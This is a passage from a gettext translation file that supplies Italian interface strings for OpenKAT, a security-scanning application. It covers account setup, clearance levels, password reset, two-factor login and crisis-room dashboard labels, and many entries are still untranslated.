higher scan level) brings on my systems.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that I am authorized to give this indemnification on behalf of my \"\n\"organization. I have the experience and knowledge to know what the \"\n\"consequences might be and can be held responsible for them.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Trusted to change Clearance Levels.\"\nmsgstr \"Autorizzato a modificare i livelli di autorizzazione.\"\n\n#: account/forms/account_setup.py\nmsgid \"Acknowledged to change Clearance Levels.\"\nmsgstr \"Riconosciuto per la modifica dei livelli di autorizzazione.\"\n\n#: account/forms/account_setup.py rocky/forms.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Blocked\"\nmsgstr \"Bloccato\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"Set the members status to blocked, so they don't have access to the \"\n\"organization anymore.\"\nmsgstr \"\"\n\"Imposta lo stato dei membri come bloccato, in modo che non abbiano più \"\n\"accesso all'organizzazione.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Accepted clearance level\"\nmsgstr \"Livello di autorizzazione accettato\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter tags separated by comma.\"\nmsgstr \"Inserisci le etichette separate da virgola.\"\n\n#: account/forms/account_setup.py\nmsgid \"The two password fields didn’t match.\"\nmsgstr \"I due campi password non corrispondono.\"\n\n#: account/forms/account_setup.py\nmsgid \"New password\"\nmsgstr \"Nuova password\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter a new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"New password confirmation\"\nmsgstr \"Conferma nuova password\"\n\n#: account/forms/account_setup.py\nmsgid \"Repeat the new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Confirm the new password\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"Please enter a correct email address and password.\"\nmsgstr \"Inserisci un indirizzo email e una password corretti.\"\n\n#: account/forms/login.py\nmsgid \"This account is inactive.\"\nmsgstr \"Questo account è inattivo.\"\n\n#: account/forms/login.py\nmsgid \"Insert the email you registered with or got at OpenKAT installation.\"\nmsgstr \"\"\n\"Inserisci l'email con cui ti sei registrato o che hai ottenuto durante \"\n\"l'installazione di OpenKAT.\"\n\n#: account/forms/organization.py\nmsgid \"Organization is required.\"\nmsgstr \"L'organizzazione è richiesta.\"\n\n#: account/forms/organization.py tools/view_helpers.py\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/views/organization_add.py\nmsgid \"Organizations\"\nmsgstr \"Organizzazioni\"\n\n#: account/forms/organization.py\nmsgid \"The organization from which to clone settings.\"\nmsgstr \"L'organizzazione da cui clonare le impostazioni.\"\n\n#: account/forms/password_reset.py account/templates/account_detail.html\nmsgid \"Email address\"\nmsgstr \"Indirizzo email\"\n\n#: account/forms/password_reset.py\nmsgid \"A reset link will be sent to this email\"\nmsgstr \"Un link di reset verrà inviato a questa email\"\n\n#: account/forms/password_reset.py\nmsgid \"The email address connected to your OpenKAT-account\"\nmsgstr \"L'indirizzo email collegato al tuo account OpenKAT\"\n\n#: account/forms/token.py\nmsgid \"\"\n\"Insert the token generated by the authenticator app to setup the two factor \"\n\"authentication.\"\nmsgstr \"\"\n\"Inserisci il token generato dall'app di autenticazione per configurare \"\n\"l'autenticazione a due fattori.\"\n\n#: account/forms/token.py\nmsgid \"Insert the token generated by your token authenticator app.\"\nmsgstr \"Inserisci il token generato dalla tua app di autenticazione a token.\"\n\n#: account/forms/token.py\nmsgid \"Backup token\"\nmsgstr \"Token di backup\"\n\n#: account/mixins.py\nmsgid \"Clearance level has been set.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You were trusted a clearance \"\n\"level of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\"Impossibile aumentare il livello di autorizzazione di %s a L%s. Ti è stato \"\n\"assegnato un livello di autorizzazione di L%s. Contatta il tuo \"\n\"amministratore per ottenere un livello di autorizzazione più alto.\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You acknowledged a clearance \"\n\"level of L%s. Please accept the clearance level first on your profile page \"\n\"to proceed.\"\nmsgstr \"\"\n\"Impossibile aumentare il livello di autorizzazione di %s a L%s. Hai \"\n\"confermato un livello di autorizzazione di L%s. Accetta prima il livello di \"\n\"autorizzazione nella tua pagina del profilo per procedere.\"\n\n#: account/models.py\nmsgid \"The email must be set\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_staff=True.\"\nmsgstr \"Il superutente deve avere is_staff=True.\"\n\n#: account/models.py\nmsgid \"Superuser must have is_superuser=True.\"\nmsgstr \"Il superutente deve avere is_superuser=True.\"\n\n#: account/models.py\nmsgid \"full name\"\nmsgstr \"nome completo\"\n\n#: account/models.py\nmsgid \"email\"\nmsgstr \"email\"\n\n#: account/models.py\nmsgid \"staff status\"\nmsgstr \"stato dello staff\"\n\n#: account/models.py\nmsgid \"Designates whether the user can log into this admin site.\"\nmsgstr \"\"\n\"Indica se l'utente può effettuare l'accesso a questo sito di amministrazione.\"\n\n#: account/models.py tools/models.py\nmsgid \"active\"\nmsgstr \"attivo\"\n\n#: account/models.py\nmsgid \"\"\n\"Designates whether this user should be treated as active. Unselect this \"\n\"instead of deleting accounts.\"\nmsgstr \"\"\n\"Indica se questo utente dovrebbe essere considerato attivo. Deselezionare \"\n\"questa opzione anziché cancellare gli account.\"\n\n#: account/models.py\nmsgid \"date joined\"\nmsgstr \"data di registrazione\"\n\n#: account/models.py\nmsgid \"The clearance level of the user for all organizations.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"name\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html account/views/account.py\nmsgid \"Account details\"\nmsgstr \"Dettagli dell'account\"\n\n#: account/templates/account_detail.html account/templates/password_reset.html\n#: account/views/password_reset.py\nmsgid \"Reset password\"\nmsgstr \"Reimposta password\"\n\n#: account/templates/account_detail.html\nmsgid \"Full name\"\nmsgstr \"Nome completo\"\n\n#: account/templates/account_detail.html\nmsgid \"Member type\"\nmsgstr \"Tipo di membro\"\n\n#: account/templates/account_detail.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Organization\"\nmsgstr \"Organizzazione\"\n\n#: account/templates/account_detail.html\nmsgid \"Permission to set OOI clearance levels\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"OOI clearance\"\nmsgstr \"Autorizzazione OOI\"\n\n#: account/templates/account_detail.html\nmsgid \"You don't have any clearance to scan objects.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"Get in contact with the admin to give you the necessary clearance level.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You have currently accepted clearance up to level\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI Clearance\"\nmsgstr \"Spiegazione Autorizzazione OOI\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"You can withdraw this at anytime you like, but know that you won't be able \"\n\"to change clearance levels anymore when you do.\"\nmsgstr \"\"\n\"Puoi ritirare questa autorizzazione in qualsiasi momento, ma sappi che non \"\n\"sarai più in grado di cambiare i livelli di autorizzazione quando lo farai.\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"Withdraw L%(acl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI clearance\"\nmsgstr \"Spiegazione Autorizzazione OOI\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"\"\n\"You are granted clearance for level L%(tcl)s by your admin. Before you can \"\n\"change OOI clearance levels up to this level, you need to accept this \"\n\"permission. Remember: <strong>with great power comes great responsibility.</\"\n\"strong>\"\nmsgstr \"\"\n\"Ti è stata concessa l'autorizzazione per il livello L%(tcl)s dal tuo \"\n\"amministratore. Prima di poter cambiare i livelli di autorizzazione OOI fino \"\n\"a questo livello, devi accettare questa autorizzazione. Ricorda: <strong>con \"\n\"grandi poteri arrivano grandi responsabilità.</strong>\"\n\n#: account/templates/account_detail.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"Accept level L%(tcl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\nmsgid \"Use the form below to reset your password.\"\nmsgstr \"Utilizza il modulo sottostante per reimpostare la tua password.\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Send\"\nmsgstr \"Invia\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Back\"\nmsgstr \"Indietro\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm reset password\"\nmsgstr \"Conferma reset password\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Use the form below to confirm resetting your password\"\nmsgstr \"\"\n\"Utilizza il modulo sottostante per confermare il reset della tua password\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm password\"\nmsgstr \"Conferma password\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"The link is invalid\"\nmsgstr \"Il link non è valido\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"\"\n\"The password reset link was invalid, possibly because it has already been \"\n\"used.  Please request a new password reset.\"\nmsgstr \"\"\n\"Il link per il reset della password non era valido, probabilmente perché è \"\n\"già stato utilizzato. Per favore richiedi un nuovo reset della password.\"\n\n#: account/templates/password_reset_email.html\n#, python-format\nmsgid \"\"\n\"You're receiving this email because you requested a password reset for your \"\n\"user account at %(site_name)s.\"\nmsgstr \"\"\n\"Stai ricevendo questa email perché hai richiesto un reset della password per \"\n\"il tuo account utente su %(site_name)s.\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Please go to the following page and choose a new password:\"\nmsgstr \"Vai alla seguente pagina e scegli una nuova password:\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Sincerely,\"\nmsgstr \"Cordiali saluti,\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"The OpenKAT team\"\nmsgstr \"Il team di OpenKAT\"\n\n#: account/templates/password_reset_subject.txt\n#, python-format\nmsgid \"Password reset on %(site_name)s\"\nmsgstr \"Reset della password su %(site_name)s\"\n\n#: account/templates/recover_email.html account/views/recover_email.py\nmsgid \"Recover email address\"\nmsgstr \"Recupera l'indirizzo email\"\n\n#: account/templates/recover_email.html\nmsgid \"Information on how to recover your connected email address\"\nmsgstr \"Informazioni su come recuperare il tuo indirizzo email collegato\"\n\n#: account/templates/recover_email.html\nmsgid \"Forgotten email address?\"\nmsgstr \"Indirizzo email dimenticato?\"\n\n#: account/templates/recover_email.html\nmsgid \"\"\n\"If you don’t remember the email address connected to your account, contact:\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Please contact the system administrator.\"\nmsgstr \"Per favore contatta l'amministratore di sistema.\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to login\"\nmsgstr \"Torna al login\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to Home\"\nmsgstr \"Torna alla Home\"\n\n#: account/templates/registration_email.html\n#, python-format\nmsgid \"\"\n\"Welcome to OpenKAT. You're receiving this email because you have been added \"\n\"to organization \\\"%(organization)s\\\" at %(site_name)s.\"\nmsgstr \"\"\n\"Benvenuto in OpenKAT. Stai ricevendo questa email perché sei stato aggiunto \"\n\"all'organizzazione \\\"%(organization)s\\\" su %(site_name)s.\"\n\n#: account/templates/registration_subject.txt\n#, python-format\nmsgid \"Verify OpenKAT account on %(site_name)s\"\nmsgstr \"Verifica l'account OpenKAT su %(site_name)s\"\n\n#: account/validators.py\nmsgid \"\"\n\"Your password must contain at least the following but longer passwords are \"\n\"recommended:\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" characters\"\nmsgstr \" caratteri\"\n\n#: account/validators.py\nmsgid \" digits\"\nmsgstr \" cifre\"\n\n#: account/validators.py\nmsgid \" letters\"\nmsgstr \" lettere\"\n\n#: account/validators.py\nmsgid \"\"\n\" special characters such as: {str(validators.get('special_characters',''))}\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" lower case letters\"\nmsgstr \" lettere minuscole\"\n\n#: account/validators.py\nmsgid \" upper case letters\"\nmsgstr \" lettere maiuscole\"\n\n#: account/views/login.py\nmsgid \"Your session has timed out. Please login again.\"\nmsgstr \"La tua sessione è scaduta. Effettua nuovamente l'accesso.\"\n\n#: account/views/login.py rocky/templates/header.html\nmsgid \"OpenKAT\"\nmsgstr \"OpenKAT\"\n\n#: account/views/login.py account/views/password_reset.py\n#: account/views/recover_email.py rocky/templates/partials/secondary-menu.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Login\"\nmsgstr \"Accesso\"\n\n#: account/views/login.py\nmsgid \"Two factor authentication\"\nmsgstr \"Autenticazione a due fattori\"\n\n#: account/views/password_reset.py\nmsgid \"We couldn't send a password reset link. Contact \"\nmsgstr \"\"\n\"Non siamo riusciti a inviare un link di reset della password. Contatta \"\n\n#: account/views/password_reset.py\nmsgid \"\"\n\"We couldn't send a password reset link. Contact your system administrator.\"\nmsgstr \"\"\n\"Non siamo riusciti a inviare un link di reset della password. Contatta \"\n\"l'amministratore di sistema.\"\n\n#: components/modal/template.html\nmsgid \"Close modal\"\nmsgstr \"\"\n\n#: components/modal/template.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/confirmation_clone_settings.html\n#: katalogus/templates/plugin_settings_delete.html\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/organizations/organization_edit.html\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/templates/partials/delete_ooi_modal.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Cancel\"\nmsgstr \"Annulla\"\n\n#: crisis_room/forms.py\nmsgid \"Title on dashboard\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Dashboard item size\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Full width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Half width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An item with that name already exists. Try a different title.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An error occurred while adding dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Number of rows in list\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"List sorting by\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Show table columns\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Findings Dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"Where on the dashboard do you want to show the data? Position {} is the most \"\n\"top level and the max position is {}.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the general crisis room, for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on a single organization dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the findings dashboard for all organizations\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Can change position up or down of a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have to choose between a recipe or a query, but not both.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have set a query and not where it is from. Also set the source.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"DashboardItem must contain at least a 'recipe' or a 'source' with a 'query'.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Max dashboard items reached.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\n#: crisis_room/templates/organization_crisis_room.html\n#: rocky/templates/header.html\nmsgid \"Crisis room\"\nmsgstr \"Sala di crisi\"\n\n#: crisis_room/templates/crisis_room.html\nmsgid \"Crisis room overview for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"Dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"\"\n\"On this page you can see an overview of the dashboards for all \"\n\"organizations. **More context can be written here**\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"There are no dashboards to display.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Findings overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"\\n\"\n\"                            This overview shows the total number of findings \"\n\"per\\n\"\n\"                            severity that have been identified for all \"\n\"organizations.\\n\"\n\"                            This data is based on the latest Crisis Room \"\n\"Findings Report\\n\"\n\"                            of each organization.\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"Findings per organization\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"This table shows the findings that have been identified for each \"\n\"organization, sorted by the finding types and grouped by organizations. This \"\n\"data is based on the latest Crisis Room Findings Report of each organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"No findings have been identified yet. As soon as they have been identified, \"\n\"they will be shown on this page.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"There are no organizations yet. After creating an organization, the \"\n\"identified findings will be shown here.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/organization_crisis_room_header.html\nmsgid \"Crisis room navigation\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/findings_report/report.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/ooi_report_findings_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/views/finding_list.py rocky/views/finding_type_add.py\n#: rocky/views/ooi_view.py\nmsgid \"Findings\"\nmsgstr \"Rilevamenti\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Options for dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Show all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Hide all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\nmsgid \"Delete dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"\"\n\"There are no dashboards yet. Click on \\\"Add dashboard\\\" to create a new \"\n\"dashboard.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Object list\"\nmsgstr \"Elenco oggetti\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Finding list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"There are no dashboard items added yet.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"\"\n\"You can add dashboard items via the filters on the objects and findings page \"\n\"or you can add a report section.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\nmsgid \"Add dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Findings per organization overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/finding_type.py\nmsgid \"Finding types\"\nmsgstr \"Tipi di rilevamento\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrences\"\nmsgstr \"Occorrenze\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Highest risk level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Critical finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Details\"\nmsgstr \"Dettagli\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Close details\"\nmsgstr \"Chiudi dettagli\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Open details\"\nmsgstr \"Apri dettagli\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"\"\n\"This overview shows the total number of findings per severity that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"Critical and high findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"This table shows the top 25 critical and high findings that have been \"\n\"identified for this organization, grouped by finding types. A table with all \"\n\"the identified findings can be found in the Findings Report.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"No findings have been identified. Check report for more details.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"View findings report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Edit report recipe\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\n#, python-format\nmsgid \"Showing %(length)s findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\nmsgid \"Go to findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings table \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"column headers with buttons are sortable\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding)s\"\nmsgstr \"Mostra dettagli per %(finding)s\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Tree\"\nmsgstr \"Albero\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Graph\"\nmsgstr \"Grafico\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html rocky/views/mixins.py\nmsgid \"Severity\"\nmsgstr \"Gravità\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Finding\"\nmsgstr \"Rilevamento\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Finding type\"\nmsgstr \"Tipo di rilevamento\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding_type)s\"\nmsgstr \"Mostra dettagli per %(finding_type)s\"\n\n#: 